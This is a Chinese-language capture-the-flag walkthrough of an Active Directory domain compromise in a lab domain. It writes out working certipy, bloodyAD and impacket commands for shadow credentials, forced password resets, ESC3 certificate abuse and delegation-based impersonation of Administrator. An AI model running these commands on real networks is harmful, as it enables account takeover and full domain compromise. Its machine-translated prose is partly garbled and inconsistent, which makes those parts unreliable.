KRB5CCNAME=natalie.a.ccache certipy-ad shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account 'stephen.m'
复制代码
Hash 9aaaedcb19e612216a2dac9badb3c210

我们使用 NT 哈希为 stephen.m 请求 Kerberos TGT

复制代码
impacket-getTGT HERCULES.HTB/stephen.m -hashes :9aaaedcb19e612216a2dac9badb3c210

权限提升

使用 Stephen Miller 的 Kerberos 凭据 (stephen.m),我们成功地对审计员帐户的密码执行了受控重置。此过程利用 Kerberos 票证缓存进行安全身份验证,而无需公开纯文本凭据。

复制代码
KRB5CCNAME=stephen.m.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u 'stephen.m' -k set password Auditor 'Prettyprincess123!'

请求 Kerberos 票证授予票证 (TGT) 以使审核员帐户在域内安全地进行身份验证。此步骤对于执行需要委派权限的后续作至关重要,而无需公开明文凭据。

请求审计员的 Kerberos TGT

复制代码
impacket-getTGT -dc-ip 10.10.11.91 hercules.htb/Auditor:Prettyprincess123!
复制代码
我们从 GitHub 克隆 winrmexec 仓库。
git clone https://github.com/ozelis/winrmexec.git

我们使用 Auditor Kerberos 缓存通过 HTTPS 运行 evil_winrm

用户

复制代码
KRB5CCNAME=Auditor.ccache python3 winrmexec/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb

接管 OU

我们拥有审核员 帐户的 "Forest Migration" 组织单元的所有权,并分配 GenericAll 权限。

账户准备

我们重新启用了 Fernando.R 的用户帐户(之前已禁用)。

Certificate Attack (ESC3) 证书攻击 (ESC3)

由于 Fernando.RSmartcard Operators的成员,因此我们:

  1. 请求证书请求代理证书。
  2. 使用该证书请求注册代理证书。
  3. 获取特权帐户的域身份验证证书。

OU 接管(审计员)→ GenericAll

我们显示当前用户的组成员身份

复制代码
whoami /groups

我们导入 ActiveDirectory PowerShell 模块

复制代码
Import-Module ActiveDirectory

我们检查Forest Management 的 Forest Migration OU ACL

复制代码
(Get-ACL "AD:OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb").Access | Where-Object {$_.IdentityReference-like "*Forest Management*"} | Format-List *

"Forest Management" 组对 **"Forest Migration"**OU 具有两个关键权限:

  • GenericAll --- 授予对 OU 内所有对象的完全控制权,包括创建、修改和删除用户帐户、组和组织单位。

Forest Migration OU 的所有权分配

我们将Forest Migration 组织单位的所有权分配给审计员帐户,授予对 OU 内所有对象的完全管理控制权。

复制代码
# KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -p 'Prettyprincess123!' -k set owner 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor


KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -k set owner 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

将 GenericAll 权限分配给审计员

我们将Forest Migration OU 的 GenericAll 权限授予审核员帐户,从而提供对 OU 内所有对象和权限的完全控制。

复制代码
KRB5CCNAME=Auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -u Auditor -k add genericAll 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

审计员 --- 实现完全控制

审计员现在拥有对**"Forest Migration"OU 的完全控制**权。

证据

  • Owner: HERCULES\auditor
  • Inherited permission: Allow HERCULES\auditor FULL CONTROL (Inherited to all subobjects)

关键特权/影响

  1. 全面作 OU 中的所有对象(用户、计算机、组)。
  2. 能够创建新对象(利用 Windows 计算机管理员可用的 CREATE CHILD 权限)。
  3. 能够重置现有用户密码(通过继承的技术支持管理员重置密码权限)。
  4. 能够为 RBCD 式攻击准备计算机帐户。

账户准备

我们检索了 Fernando.R 的 Active Directory 用户详细信息并记录了

复制代码
Get-ADUser -Identity "Fernando.R"

Account :- disabled 帐户 :- 禁用

Group Membership --- Fernando.R

用户 Fernando.RSmartcard Operators组的成员,授予与域内基于智能卡的身份验证和证书管理相关的权限。

重新启用 Fernando.R 帐户

复制代码
Get-ADUser -SearchBase "OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb" -Filter * -Properties adminCount,UserAccountControl |
  Where-Object { ($_.adminCount -ne 1) -or ($_.adminCount -eq $null) } |
  Select-Object SamAccountName,DistinguishedName,adminCount,UserAccountControl

之前禁用的用户帐户 Fernando.R 已成功重新启用 ,恢复了域内的活动访问。

复制代码
KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d 'hercules.htb' -u 'auditor' -k remove uac 'fernando.r' -f ACCOUNTDISABLE

我们再次检索 Fernando.R 的 Active Directory 用户详细信息

复制代码
Get-ADUser -Identity "Fernando.R"

Account are enabled 帐户已启用

通过 Auditor Kerberos 缓存重置 Fernando.R 的密码

使用 Auditor 帐户的 Kerberos 票证缓存,我们为 Fernando.R 执行了受控密码重置,恢复了访问并确保使用新凭据成功进行身份验证。

复制代码
KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -k set password 'fernando.r' 'NewPassword123!'
复制代码
'fernando.r' 'NewPassword123!'

证书攻击 ESC3 (fernando.r)

Smartcard Operators Group
Smartcard Operators 组的成员对密钥模板具有默认的 "注册 "权限,允许他们请求和管理智能卡证书。

作为成员,Fernando.R 可以请求和获取域帐户的证书。虽然这是用于合法的智能卡管理,但它可能会被滥用用于域中的权限升级

请求 fernando.r 的 Kerberos TGT(使用提供的密码)

使用提供的密码为 fernando.r 请求了 Kerberos 票证授予票证 (TGT)。获取 TGT 并将其存储在会话缓存中,以启用后续的 Kerberos 身份验证作。

复制代码
impacket-getTGT 'HERCULES.HTB/fernando.r:NewPassword123!'

我们在 AD CS 中搜索易受攻击的证书模板

复制代码
KRB5CCNAME=fernando.r.ccache certipy-ad find -k -dc-ip 10.10.11.91 -target DC.hercules.htb -vulnerable -stdout


向 CA-HERCULES 申请注册代理证书

我们向 CA-HERCULES 申请了注册代理证书。该证书允许持有者为其他用户注册证书,从而在域内提供委托的证书颁发功能。

Key Steps: 关键步骤:

  1. 使用 fernando.r 凭据进行身份验证。

  2. 已向 CA-HERCULES 提交了注册代理权限的证书请求。

  3. 获取并存储证书以供后续基于证书的作。

    KRB5CCNAME=fernando.r.ccache certipy-ad req -u "fernando.r@hercules.htb" -k -no-pass
    -dc-host dc.hercules.htb -dc-ip 10.10.11.91 -target "dc.hercules.htb" -ca 'CA-HERCULES'
    -template "EnrollmentAgent" -application-policies "Certificate Request Agent"

  1. **RBCD **

我们通过 fernando.r 请求 ashley.g 的用户证书

复制代码
KRB5CCNAME=fernando.r.ccache certipy-ad req -u "fernando.r@hercules.htb" -k -no-pass \
  -dc-ip 10.10.11.91 -dc-host dc.hercules.htb -target "dc.hercules.htb" \
  -ca "CA-HERCULES" -template "User" -pfx fernando.r.pfx \
  -on-behalf-of "HERCULES\\ashley.b" -dcom

我们使用 ashley.b.pfx 向 AD 进行身份验证

复制代码
certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.10.11.91

Step2. Lateral Movement to DC

我们使用 NT hash为 ashley.b 请求 Kerberos TGT

复制代码
impacket-getTGT -hashes :1e719fbfddd226da74f644eac9df7fd2 hercules.htb/ashley.b@dc.hercules.htb

我们使用 ashley.b Kerberos 缓存通过 HTTPS 运行 evil_winrmexec

复制代码
KRB5CCNAME=ashley.b@dc.hercules.htb.ccache python3 winrmexec/evil_winrmexec.py -ssl -port 5986 -k -no-pass hercules.htb/ashley.b@dc.hercules.htb 

密码重置脚本执行

必须执行脚本才能在后续步骤中执行密码重置。这确保了作为受控工作流程的一部分对用户凭据进行自动化、一致和可审计的更新。

Step3 :- 通过 GenericAll 提升权限

将 GenericAll 权限分配给 IT SUPPORT

我们将Forest Migration OU 的 GenericAll 权限授予 IT SUPPORT组,从而提供对 OU 内所有对象和权限的完全控制。

复制代码
KRB5CCNAME=Auditor.ccache bloodyAD --host 'dc.hercules.htb' -d 'hercules.htb' -u 'auditor' -k add genericAll 'OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb' 'IT SUPPORT'

将 GenericAll 权限分配给审计员

我们将Forest Migration OU 的 GenericAll 权限授予审核员帐户,从而提供对 OU 内所有对象和权限的完全管理控制。

复制代码
KRB5CCNAME=Auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -u Auditor -k add genericAll 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

Step4 :- IIS_Administrator 账户接管

分配 ForceChangePassword 权限

iis_administrator 帐户被授予 iis_webserver 帐户的 ForceChangePassword 权限。这允许管理员重置 iis_webserver 密码,而无需当前密码,从而实现受控密码管理和帐户恢复作。

IIS_Administrator 帐户状态

IIS_Administrator 帐户当前处于禁用状态,在重新启用之前,该帐户会阻止任何活动登录或管理作。

重新启用 IIS_Administrator 帐户

IIS_Administrator 帐户已成功重新启用

** 注意:**

如果作失败并显示 "insufficientAccessRights" 错误:

  1. 运行 aCleanup.ps1 脚本以重置任何冲突的权限。

  2. 在重试重新启用作之前,重新执行步骤 3 中的前两个命令,以确保正确分配 GenericAll 权限。

    KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u 'Auditor' -k remove uac "IIS_Administrator" -f ACCOUNTDISABLE

重置 IIS_Administrator 密码

复制代码
KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u 'Auditor' -k set password "IIS_Administrator" "Passw0rd@123"

请求 Kerberos TGT 以 iis_administrator身份

复制代码
impacket-getTGT hercules.htb/'iis_administrator':'Passw0rd@123' -dc-ip 10.10.11.91

计算机帐户泄露

我们重置 iis_webserver$ 计算机帐户密码,获得对关联计算机帐户的控制权,并在域内启用进一步的身份验证或基于委派的攻击。

复制代码
KRB5CCNAME=iis_administrator.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u 'IIS_Administrator' -k set password "iis_webserver$" Passw0rd@123

计算的密码的 NTLM 哈希

我们计算了目标密码的 NTLM 哈希值(NT 哈希值),以启用脱机身份验证检查,并在以后在基于 Kerberos/NTLM 的测试中使用。

复制代码
iconv -f ASCII -t UTF-16LE <(printf 'Passw0rd@123') | openssl dgst -md4

请求 IIS_webserver$ 的 Kerberos TGT (使用 NT 哈希)

通过使用帐户的 NT (NTLM) 哈希进行身份验证,为 IIS_webserver$ 计算机帐户请求 Kerberos 票证授予票证 (TGT)。获取 TGT 并将其存储在会话缓存中,以便后续的 Kerberos 身份验证作。

复制代码
impacket-getTGT -hashes :14d0fcda7ad363097760391f302da68d 'hercules.htb/IIS_webserver$' -dc-ip 10.10.11.91

提取的 Kerberos 票证会话密钥 --- IIS_webserver$(来自 ccache)

我们从其凭据缓存 (ccache) 中提取了 IIS_webserver$ 帐户的 Kerberos 票证会话密钥 ,并保留它以供后续基于票证的作和分析。

复制代码
impacket-describeTicket 'IIS_webserver$.ccache' | grep 'Ticket Session Key'
复制代码
Session Key

[*] Ticket Session Key            : 0cce7945ca76483e2998c8faa90aac96

IIS_webserver$ 密码更改(使用提取的会话密钥哈希)

我们通过利用之前提取的 Kerberos 会话密钥哈希 更改了 IIS_webserver$ 计算机帐户密码。

复制代码
impacket-changepasswd -newhashes :0cce7945ca76483e2998c8faa90aac96 'hercules.htb'/'IIS_webserver$':'Passw0rd@123'@'dc.hercules.htb' -k

S4U2Self / S4U2Proxy 滥用 --- dc.hercules.htb 上的 IIS_webserver$ AllowedToAct

计算机帐户 **IIS_webserver$** 具有委托给 **dc.hercules.htb**AllowedToAct 条目,从而允许滥用 S4U2Self/S4U2Proxy(基于资源的受限委派)流。这允许计算机帐户获取服务票证,冒充任意用户到服务。

  • **dc.hercules.htb 上的 AllowedToAct (RBCD) 允许 IIS_webserver$ 为任何用户请求 DC 托管的服务的服务票。
  • 使用 S4U2Self ,控制 IIS_webserver$ 的攻击者可以在没有该用户凭据的情况下获取任意用户的服务票证。
  • 然后,使用 S4U2Proxy ,攻击者可以在 dc.hercules.htb 上向目标服务请求服务票证,从而有效地将该用户模拟到 DC。
  • 如果模拟帐户具有特权 (例如,域管理员或在 DC 上具有提升权限的帐户) ,则此链会导致完全域泄露。
  • OU 上的所有权 + GenericAll 提供对包含对象(用户、计算机帐户)的完全控制。这基本上是范围为该 OU 的域级电源。有了它,您可以启用帐户、重置密码、添加 keyCredentials 等。请谨慎使用,这是权限升级的转折点。

Proxy to obtain Administrator impersonation

复制代码
KRB5CCNAME=IIS_webserver$.ccache impacket-getST -u2u -impersonate "Administrator" -spn "cifs/dc.hercules.htb" -k -no-pass 'hercules.htb'/'IIS_webserver$'

**管理员**身份通过 HTTPS 执行 **evil_winrmexec**

复制代码
KRB5CCNAME=Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache python3 winrmexec/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb 

Root Flag 根标志

相关推荐
合才科技6 小时前
【要闻周报】网络安全与数据合规 12-31
安全·web安全
Par@ish7 小时前
【网络安全】Apache StreamPipes 严重漏洞使攻击者可夺取管理员控制权
安全·web安全·apache
汉堡包0017 小时前
【面试总结】--安服实习岗(2)
学习·安全·web安全·网络安全·面试
勇气要爆发7 小时前
跨域 (CORS) 原理:浏览器的“尽职保镖”
网络安全·跨域·cors
XLYcmy8 小时前
高级密码生成器程序详解:专门设计用于生成基于用户个人信息的密码猜测组合
开发语言·数据结构·python·网络安全·数据安全·源代码·口令安全
乾元13 小时前
Network-as-Code:把 HCIE / CCIE 实验脚本转为企业级 CI 工程化流程
运维·网络·人工智能·安全·web安全·ai·架构
没有bug.的程序员1 天前
服务安全:内部服务如何防止“裸奔”?
java·网络安全·云原生安全·服务安全·零信任架构·微服务安全·内部鉴权
小快说网安1 天前
从合规到发展:新《网络安全法》如何重塑企业安全建设逻辑
安全·web安全·等保测评
儒道易行1 天前
平凡的2025年终总结
网络·安全·web安全